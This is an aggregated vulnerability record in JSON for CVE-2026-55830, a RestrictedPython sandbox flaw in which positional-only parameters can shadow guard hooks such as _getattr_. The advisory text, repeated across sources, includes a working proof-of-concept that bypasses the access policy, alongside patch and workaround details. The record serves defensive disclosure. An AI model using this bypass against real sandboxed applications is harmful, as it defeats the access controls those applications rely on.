{"id":"CVE-2026-55830","aliases":["DEBIAN-CVE-2026-55830","EUVD-2026-42434","GHSA-ffg3-p8fm-mjx2","PYSEC-2026-3917","UBUNTU-CVE-2026-55830"],"status":"published","title":"RestrictedPython guard hooks can be shadowed via positional-only arguments","description":"RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing __getattr__, _getitem_, _write_, or _print_ to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.","severity":{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00287,"percentile":0.21319,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-184"],"published":"2026-07-08T21:16:36Z","modified":"2026-10-28T02:30:43Z","fixes":[{"ecosystem":"PyPI","package":"restrictedpython","fixed_in":["8.3"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"restrictedpython","fixed_in":["8.4-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"restrictedpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"8.2"},{"fixed":"8.3"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"restrictedpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.0~b3-3","6.2-1","8.0-1","8.1-1","8.4-1"]},{"source":"osv","ecosystem":"Debian:13","package":"restrictedpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.0-1","8.1-1","8.4-1"]},{"source":"osv","ecosystem":"Debian:14","package":"restrictedpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.4-1"}]}],"versions":["8.0-1","8.1-1"]},{"source":"osv","ecosystem":"PyPI","package":"restrictedpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.3"}]}],"versions":["3.4.2","3.4.3","3.5.0","3.5.1","3.5.2","3.6.0","3.6.0a1","4.0","4.0a1","4.0a2","4.0a3","4.0b1","4.0b2","4.0b3","4.0b4","4.0b5","4.0b6","4.0b7","4.0b8","5.0","5.1","5.2","5.2a1.dev0","5.3","5.3a1.dev0","5.4","6.0","6.0a1.dev0","6.1","6.2","7.0","7.0a1.dev0","7.0a1.dev1","7.0a2.dev0","7.1","7.2","7.2a1.dev0","7.3","7.4","8.0","8.1","8.1a1.dev0","8.2","8.3a1.dev0"]},{"source":"osv","ecosystem":"PyPI","package":"restrictedpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.3"}]}],"versions":["3.4.2","3.4.3","3.5.0","3.5.1","3.5.2","3.6.0","3.6.0a1","4.0","4.0a1","4.0a2","4.0a3","4.0b1","4.0b2","4.0b3","4.0b4","4.0b5","4.0b6","4.0b7","4.0b8","5.0","5.1","5.2","5.2a1.dev0","5.3","5.3a1.dev0","5.4","6.0","6.0a1.dev0","6.1","6.2","7.0","7.0a1.dev0","7.0a1.dev1","7.0a2.dev0","7.1","7.2","7.2a1.dev0","7.3","7.4","8.0","8.1","8.1a1.dev0","8.2","8.3a1.dev0"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"restrictedpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.6.0-0ubuntu4"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"restrictedpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.6.0-0ubuntu4"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"restrictedpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.0~b3-2","4.0~b3-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"restrictedpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.0~b3-2","4.0~b3-2ubuntu1","4.0~b3-3","4.0~b3-3ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"restrictedpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.0~b3-3","6.2-1","6.2-1ubuntu0.24.04.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"restrictedpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.0-1","8.1-1"]}],"products":[{"vendor":"zopefoundation","product":"restrictedpython"}],"references":[{"url":"https://github.com/zopefoundation/RestrictedPython/security/advisories/GHSA-ffg3-p8fm-mjx2","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/zopefoundation/RestrictedPython/commit/3737596ec9f28c34a073cc845bd2f4c0a80cb671","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55830","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-ffg3-p8fm-mjx2","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55830.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-55830","tags":["advisory"]},{"url":"https://github.com/zopefoundation/RestrictedPython","tags":["package"]},{"url":"https://pypi.org/project/restrictedpython","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-55830","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-55830","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-55830","title":"RestrictedPython guard hooks can be shadowed via positional-only arguments","description":"RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing __getattr__, _getitem_, _write_, or _print_ to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.","status":"published","published":"2026-07-08T21:16:36.2Z","modified":"2026-07-09T13:46:21.968Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:20:11.925815Z"}],"euvd":[{"id":"EUVD-2026-42434","description":"RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing __getattr__, _getitem_, _write_, or _print_ to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.","status":"published","published":"2026-07-08T21:16:36Z","modified":"2026-07-09T13:46:21Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T18:20:04.523855Z"}],"ghsa":[{"id":"GHSA-ffg3-p8fm-mjx2","title":"RestrictedPython guard hooks can be shadowed via positional-only arguments","description":"### Impact\n\nRestrictedPython rewrites sensitive operations to go through guard hooks. Attribute access becomes `_getattr_(obj, name)`, item access becomes `_getitem_(obj, key)`, writes go through `_write_`, and print goes through `_print_`. The embedding application supplies these hooks to enforce its policy.\n\nArgument-name validation rejects these protected names for regular arguments, `*args`, `**kwargs`, and keyword-only arguments, but it misses positional-only arguments (the ones before `/`). So a function like:\n\n```python\ndef f(_getattr_=evil, /):\n    return o.x\n```\n\nmakes `_getattr_` a local that shadows the policy hook, and the rewritten access calls `evil` instead. The same works for `_getitem_`, `_write_`, and `_print_`. Shadowing `_print_` can also be used to capture the internal `_getattr_` hook that RestrictedPython passes in.\n\nThe result is that sandboxed code can bypass the access policy the embedding application relies on. In applications that also handle sandbox-controlled objects unsafely (for example serializing them with pickle), this primitive can be chained further, up to remote code execution. That part depends on the embedding application, but the underlying guard bypass is in RestrictedPython.\n\n### Proof of concept\n\nOn an unpatched RestrictedPython this prints `shadowed` and an empty `calls` list, meaning the policy `_getattr_` never ran. With the fix, `compile_restricted` rejects the code.\n\n```python\nfrom RestrictedPython import compile_restricted\nfrom RestrictedPython.Guards import safe_globals, safer_getattr\n\ncalls = []\ndef policy_getattr(obj, name, default=None):\n    calls.append(name)  # the real guard records every access\n    return safer_getattr(obj, name, default)\n\nsrc = \"\"\"\ndef f(o, _getattr_=lambda obj, name: \"shadowed\", /):\n    return o.x\n\"\"\"\n\ncode = compile_restricted(src, \"\u003cs\u003e\", \"exec\")   # currently compiles, should be rejected\ng = dict(safe_globals)\ng[\"_getattr_\"] = policy_getattr\nexec(code, g)\n\nclass O:\n    x = \"secret\"\n\nprint(g[\"f\"](O()))   # -\u003e \"shadowed\"   (attacker's local was used)\nprint(calls)         # -\u003e []           (policy _getattr_ never ran)\n```\n\n### Patches\n\nThe fix validates positional-only argument names the same way the other argument kinds are already validated. It will ship in the next release.\n\n### Workarounds\n\nNone other than upgrading. If you cannot upgrade immediately, reject any submitted code whose function or lambda definitions use positional-only parameters with leading-underscore names before compiling.","status":"published","published":"2026-08-28T22:51:35Z","modified":"2026-08-28T22:51:36Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:41:08.084849Z"}],"nvd":[{"id":"CVE-2026-55830","description":"RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing __getattr__, _getitem_, _write_, or _print_ to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.","status":"published","published":"2026-07-08T22:17:15.653Z","modified":"2026-10-25T17:10:00.197Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L","level":"high","assessor":"secondary"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T14:12:28.4135Z"}],"osv":[{"id":"CVE-2026-55830","title":"RestrictedPython guard hooks can be shadowed via positional-only arguments","description":"RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing __getattr__, _getitem_, _write_, or _print_ to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.","status":"published","published":"2026-07-08T21:16:36.2Z","modified":"2026-10-28T02:30:43.95422956Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T15:45:11.609219Z"},{"id":"DEBIAN-CVE-2026-55830","description":"RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing __getattr__, _getitem_, _write_, or _print_ to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.","status":"published","published":"2026-07-08T22:17:15.653Z","modified":"2026-10-26T11:47:26.132852464Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:45:57.590991Z"},{"id":"GHSA-ffg3-p8fm-mjx2","title":"RestrictedPython guard hooks can be shadowed via positional-only arguments","description":"### Impact\n\nRestrictedPython rewrites sensitive operations to go through guard hooks. Attribute access becomes `_getattr_(obj, name)`, item access becomes `_getitem_(obj, key)`, writes go through `_write_`, and print goes through `_print_`. The embedding application supplies these hooks to enforce its policy.\n\nArgument-name validation rejects these protected names for regular arguments, `*args`, `**kwargs`, and keyword-only arguments, but it misses positional-only arguments (the ones before `/`). So a function like:\n\n```python\ndef f(_getattr_=evil, /):\n    return o.x\n```\n\nmakes `_getattr_` a local that shadows the policy hook, and the rewritten access calls `evil` instead. The same works for `_getitem_`, `_write_`, and `_print_`. Shadowing `_print_` can also be used to capture the internal `_getattr_` hook that RestrictedPython passes in.\n\nThe result is that sandboxed code can bypass the access policy the embedding application relies on. In applications that also handle sandbox-controlled objects unsafely (for example serializing them with pickle), this primitive can be chained further, up to remote code execution. That part depends on the embedding application, but the underlying guard bypass is in RestrictedPython.\n\n### Proof of concept\n\nOn an unpatched RestrictedPython this prints `shadowed` and an empty `calls` list, meaning the policy `_getattr_` never ran. With the fix, `compile_restricted` rejects the code.\n\n```python\nfrom RestrictedPython import compile_restricted\nfrom RestrictedPython.Guards import safe_globals, safer_getattr\n\ncalls = []\ndef policy_getattr(obj, name, default=None):\n    calls.append(name)  # the real guard records every access\n    return safer_getattr(obj, name, default)\n\nsrc = \"\"\"\ndef f(o, _getattr_=lambda obj, name: \"shadowed\", /):\n    return o.x\n\"\"\"\n\ncode = compile_restricted(src, \"\u003cs\u003e\", \"exec\")   # currently compiles, should be rejected\ng = dict(safe_globals)\ng[\"_getattr_\"] = policy_getattr\nexec(code, g)\n\nclass O:\n    x = \"secret\"\n\nprint(g[\"f\"](O()))   # -\u003e \"shadowed\"   (attacker's local was used)\nprint(calls)         # -\u003e []           (policy _getattr_ never ran)\n```\n\n### Patches\n\nThe fix validates positional-only argument names the same way the other argument kinds are already validated. It will ship in the next release.\n\n### Workarounds\n\nNone other than upgrading. If you cannot upgrade immediately, reject any submitted code whose function or lambda definitions use positional-only parameters with leading-underscore names before compiling.","status":"published","published":"2026-08-28T22:51:35Z","modified":"2026-09-10T12:25:49.189069232Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T15:46:46.39441Z"},{"id":"PYSEC-2026-3917","title":"RestrictedPython guard hooks can be shadowed via positional-only arguments","description":"### Impact\n\nRestrictedPython rewrites sensitive operations to go through guard hooks. Attribute access becomes `_getattr_(obj, name)`, item access becomes `_getitem_(obj, key)`, writes go through `_write_`, and print goes through `_print_`. The embedding application supplies these hooks to enforce its policy.\n\nArgument-name validation rejects these protected names for regular arguments, `*args`, `**kwargs`, and keyword-only arguments, but it misses positional-only arguments (the ones before `/`). So a function like:\n\n```python\ndef f(_getattr_=evil, /):\n    return o.x\n```\n\nmakes `_getattr_` a local that shadows the policy hook, and the rewritten access calls `evil` instead. The same works for `_getitem_`, `_write_`, and `_print_`. Shadowing `_print_` can also be used to capture the internal `_getattr_` hook that RestrictedPython passes in.\n\nThe result is that sandboxed code can bypass the access policy the embedding application relies on. In applications that also handle sandbox-controlled objects unsafely (for example serializing them with pickle), this primitive can be chained further, up to remote code execution. That part depends on the embedding application, but the underlying guard bypass is in RestrictedPython.\n\n### Proof of concept\n\nOn an unpatched RestrictedPython this prints `shadowed` and an empty `calls` list, meaning the policy `_getattr_` never ran. With the fix, `compile_restricted` rejects the code.\n\n```python\nfrom RestrictedPython import compile_restricted\nfrom RestrictedPython.Guards import safe_globals, safer_getattr\n\ncalls = []\ndef policy_getattr(obj, name, default=None):\n    calls.append(name)  # the real guard records every access\n    return safer_getattr(obj, name, default)\n\nsrc = \"\"\"\ndef f(o, _getattr_=lambda obj, name: \"shadowed\", /):\n    return o.x\n\"\"\"\n\ncode = compile_restricted(src, \"\u003cs\u003e\", \"exec\")   # currently compiles, should be rejected\ng = dict(safe_globals)\ng[\"_getattr_\"] = policy_getattr\nexec(code, g)\n\nclass O:\n    x = \"secret\"\n\nprint(g[\"f\"](O()))   # -\u003e \"shadowed\"   (attacker's local was used)\nprint(calls)         # -\u003e []           (policy _getattr_ never ran)\n```\n\n### Patches\n\nThe fix validates positional-only argument names the same way the other argument kinds are already validated. It will ship in the next release.\n\n### Workarounds\n\nNone other than upgrading. If you cannot upgrade immediately, reject any submitted code whose function or lambda definitions use positional-only parameters with leading-underscore names before compiling.","status":"published","published":"2026-09-10T09:44:58.880974Z","modified":"2026-09-10T12:15:11.823892521Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"},{"id":"UBUNTU-CVE-2026-55830","description":"RestrictedPython is a tool that helps to define a subset of the Python language which allows to provide a program input into a trusted environment. Prior to 8.3, check_function_argument_names() rejected protected guard hook names for regular, variadic, and keyword-only arguments but omitted positional-only arguments, allowing __getattr__, _getitem_, _write_, or _print_ to be shadowed by a local parameter and bypass the embedding application's access policy. This issue is fixed in version 8.3.","status":"published","published":"2026-07-08T22:17:00Z","modified":"2026-09-24T02:00:30.023810492Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T16:56:41.382716Z"}]}}
